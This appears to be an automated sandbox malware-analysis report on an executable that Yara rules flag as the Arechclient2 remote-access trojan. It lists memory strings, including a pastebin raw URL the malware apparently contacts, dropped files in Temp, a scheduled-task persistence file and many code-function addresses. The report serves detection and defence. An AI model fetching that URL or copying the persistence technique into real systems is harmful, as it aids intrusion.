Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002FB4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3925960520.0000000003D78000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3913689241.0000000003054000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3913689241.0000000002FF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002FB4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3925960520.0000000003D78000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3913689241.0000000003054000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3913689241.0000000002FF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	String found in binary or memory: https://donutsoft.org
Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	String found in binary or memory: https://donutsoft.org/
Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	String found in binary or memory: https://donutsoft.org/nusrHtwtb_file.tmpdonutsoftRy%02dp.%02dv.%02dm.%03dr.%s.%s.iddo%s%d%s%s%d%s%sr
Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	String found in binary or memory: https://donutsoft.orghttps://t.me/donutsoftSubjectHello
Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	String found in binary or memory: https://donutsoft.orghttps://t.me/donutsoftdonutsoftorg
Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002FB4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3925960520.0000000003D78000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3913689241.0000000003054000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3913689241.0000000002FF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: MSBuild.exe, 0000000A.00000002.3925960520.0000000003D78000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3913689241.0000000002FF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002FB4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3913689241.0000000003054000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabS
Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002FB4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3925960520.0000000003D78000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3913689241.0000000003054000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3913689241.0000000002FF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: MSBuild.exe, 00000019.00000002.3848723015.0000000002881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/Ld9GfkdJ
Source: MSBuild.exe, 0000000D.00000002.1845033277.0000000002A51000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000E.00000002.1902328832.0000000003171000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000019.00000002.3848723015.0000000002881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/Ld9GfkdJPOr6
Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	String found in binary or memory: https://pay.cloudtips.ru/p/96db8bb7https://donationalerts.com/r/donutsoft
Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	String found in binary or memory: https://paypal.me/donutsofthttps://patreon.com/donutsofthttps://ko-fi.com/donutsofthttps://buymeacof
Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	String found in binary or memory: https://qiwi.com/...
Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	String found in binary or memory: https://t.me/donutsoft
Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002FB4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3925960520.0000000003D78000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3913689241.0000000003054000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3913689241.0000000002FF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	String found in binary or memory: https://www.globalsign.com/repository/0
Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	String found in binary or memory: https://www.globalsign.com/repository/03
Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	String found in binary or memory: https://www.globalsign.com/repository/06
Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002FB4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3925960520.0000000003D78000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3913689241.0000000003054000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3913689241.0000000002FF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	String found in binary or memory: https://yoomoney.ru/to/410015205849375https://qiwi.com/n/DONUTSOFT

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

System Summary

Malicious sample detected (through community Yara rule)

Source: 7.2.more.com.57300c8.7.unpack, type: UNPACKEDPE	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: 22.2.more.com.51c00c8.7.unpack, type: UNPACKEDPE	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: 11.2.more.com.5c100c8.7.unpack, type: UNPACKEDPE	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: 11.2.more.com.5c100c8.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: 2.2.more.com.5fd00c8.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: 13.2.MSBuild.exe.9c0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: 7.2.more.com.57300c8.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: 2.2.more.com.5fd00c8.7.unpack, type: UNPACKEDPE	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: 22.2.more.com.51c00c8.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\yuyhf, type: DROPPED	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\kwvvjj, type: DROPPED	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\xwv, type: DROPPED	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\pvrrwvlxy, type: DROPPED	Matched rule: Detects Arechclient2 RAT Author: ditekSHen

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe

Code function: 0_2_00B64F95 NtQuerySystemInformation,

0_2_00B64F95

Source: C:\Windows\SysWOW64\more.com

File created: C:\Windows\Tasks\AsusFCNotification.job

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00E6C880	10_2_00E6C880
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00E61070	10_2_00E61070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00E6B01F	10_2_00E6B01F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00E6D110	10_2_00E6D110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00E615E0	10_2_00E615E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00E6BD78	10_2_00E6BD78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00E6C843	10_2_00E6C843
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00E6A908	10_2_00E6A908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00E6D0F3	10_2_00E6D0F3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00E6B09E	10_2_00E6B09E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00E61060	10_2_00E61060
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00E615C3	10_2_00E615C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00E6BD45	10_2_00E6BD45
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0570F9E8	10_2_0570F9E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0570E610	10_2_0570E610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_057011B8	10_2_057011B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_05704CC0	10_2_05704CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06BD7678	10_2_06BD7678
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06BD6668	10_2_06BD6668
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06BD0FA0	10_2_06BD0FA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06BD7BA0	10_2_06BD7BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06BD9BEF	10_2_06BD9BEF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06BDD7E0	10_2_06BDD7E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06BD8F38	10_2_06BD8F38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06BDDCEE	10_2_06BDDCEE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06BDEC20	10_2_06BDEC20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06BD5C68	10_2_06BD5C68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06BD4DB0	10_2_06BD4DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06BD85F8	10_2_06BD85F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06BD4948	10_2_06BD4948
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06BD1E3C	10_2_06BD1E3C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06BD1E60	10_2_06BD1E60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06BD6658	10_2_06BD6658
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06BD0F90	10_2_06BD0F90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06BD7B86	10_2_06BD7B86
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06BD8F24	10_2_06BD8F24
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06BD1315	10_2_06BD1315
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06BD3030	10_2_06BD3030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06BD3020	10_2_06BD3020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06BD5C59	10_2_06BD5C59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06BD0040	10_2_06BD0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06BD85E8	10_2_06BD85E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06BD4938	10_2_06BD4938
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06D51EB1	10_2_06D51EB1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06D53FF8	10_2_06D53FF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06D513EF	10_2_06D513EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06D57790	10_2_06D57790
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06D5B380	10_2_06D5B380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06D55318	10_2_06D55318
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06D56098	10_2_06D56098
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06D5C568	10_2_06D5C568
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06D536E8	10_2_06D536E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06D50BD0	10_2_06D50BD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06D56089	10_2_06D56089
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06D5846A	10_2_06D5846A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06D53438	10_2_06D53438
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06D53427	10_2_06D53427
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06D56826	10_2_06D56826
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06D56828	10_2_06D56828
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06D5C558	10_2_06D5C558
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06D686D0	10_2_06D686D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06D6E618	10_2_06D6E618
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06D658A0	10_2_06D658A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06D6C84B	10_2_06D6C84B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06D6D071	10_2_06D6D071
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06D6DC08	10_2_06D6DC08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06D6E608	10_2_06D6E608
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06D60FB1	10_2_06D60FB1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06D6588B	10_2_06D6588B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06D60C88	10_2_06D60C88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06D6B05B	10_2_06D6B05B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06D60040	10_2_06D60040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06D6B068	10_2_06D6B068
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06D6A550	10_2_06D6A550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_06D6A535	10_2_06D6A535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07046830	10_2_07046830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_070481C0	10_2_070481C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07040006	10_2_07040006
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07041611	10_2_07041611
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07041620	10_2_07041620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07043720	10_2_07043720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07043730	10_2_07043730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07040040	10_2_07040040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07049548	10_2_07049548
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07049558	10_2_07049558
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_070481B0	10_2_070481B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_070452D7	10_2_070452D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_070452E8	10_2_070452E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07314334	10_2_07314334
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07310040	10_2_07310040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07310007	10_2_07310007
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07319EF8	10_2_07319EF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07319EE9	10_2_07319EE9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07319EC0	10_2_07319EC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07312CB8	10_2_07312CB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07312CC8	10_2_07312CC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0794C5C0	10_2_0794C5C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07940358	10_2_07940358
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0794B748	10_2_0794B748
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0794D160	10_2_0794D160
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07948968	10_2_07948968
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07949A98	10_2_07949A98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_079416F0	10_2_079416F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_079432E8	10_2_079432E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07942040	10_2_07942040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07944380	10_2_07944380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0794EB10	10_2_0794EB10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0794EB00	10_2_0794EB00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0794B73A	10_2_0794B73A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07940348	10_2_07940348
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0794A888	10_2_0794A888
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0794DAD8	10_2_0794DAD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07942030	10_2_07942030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07942650	10_2_07942650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0794444D	10_2_0794444D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07999EC8	10_2_07999EC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0799CD48	10_2_0799CD48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07991368	10_2_07991368
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0799B2BB	10_2_0799B2BB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07996180	10_2_07996180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_079988FB	10_2_079988FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_079977D8	10_2_079977D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_079977E8	10_2_079977E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07999EB9	10_2_07999EB9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07990598	10_2_07990598
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0799953F	10_2_0799953F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0799EB00	10_2_0799EB00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0799EAF1	10_2_0799EAF1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07997188	10_2_07997188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0799C128	10_2_0799C128
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07996180	10_2_07996180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0799717A	10_2_0799717A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07C50A80	10_2_07C50A80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07C5A680	10_2_07C5A680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07C55A68	10_2_07C55A68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07C535D8	10_2_07C535D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07C57840	10_2_07C57840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07C59708	10_2_07C59708
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07C55F38	10_2_07C55F38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07C596F4	10_2_07C596F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07C535CA	10_2_07C535CA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07C574C8	10_2_07C574C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07C50040	10_2_07C50040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07C56440	10_2_07C56440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07C57822	10_2_07C57822
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07C56430	10_2_07C56430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07945E73	10_2_07945E73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07C517C0	10_2_07C517C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_07C517B2	10_2_07C517B2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_0101B01F	13_2_0101B01F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_01011070	13_2_01011070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_010115E0	13_2_010115E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_01011060	13_2_01011060
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_0101B09E	13_2_0101B09E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_010115C3	13_2_010115C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_0101A908	13_2_0101A908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_0101BD45	13_2_0101BD45
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_0101BD78	13_2_0101BD78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_015C1070	14_2_015C1070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_015CB030	14_2_015CB030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_015C15E0	14_2_015C15E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_015C1060	14_2_015C1060
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_015CB09E	14_2_015CB09E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_015C15C3	14_2_015C15C3
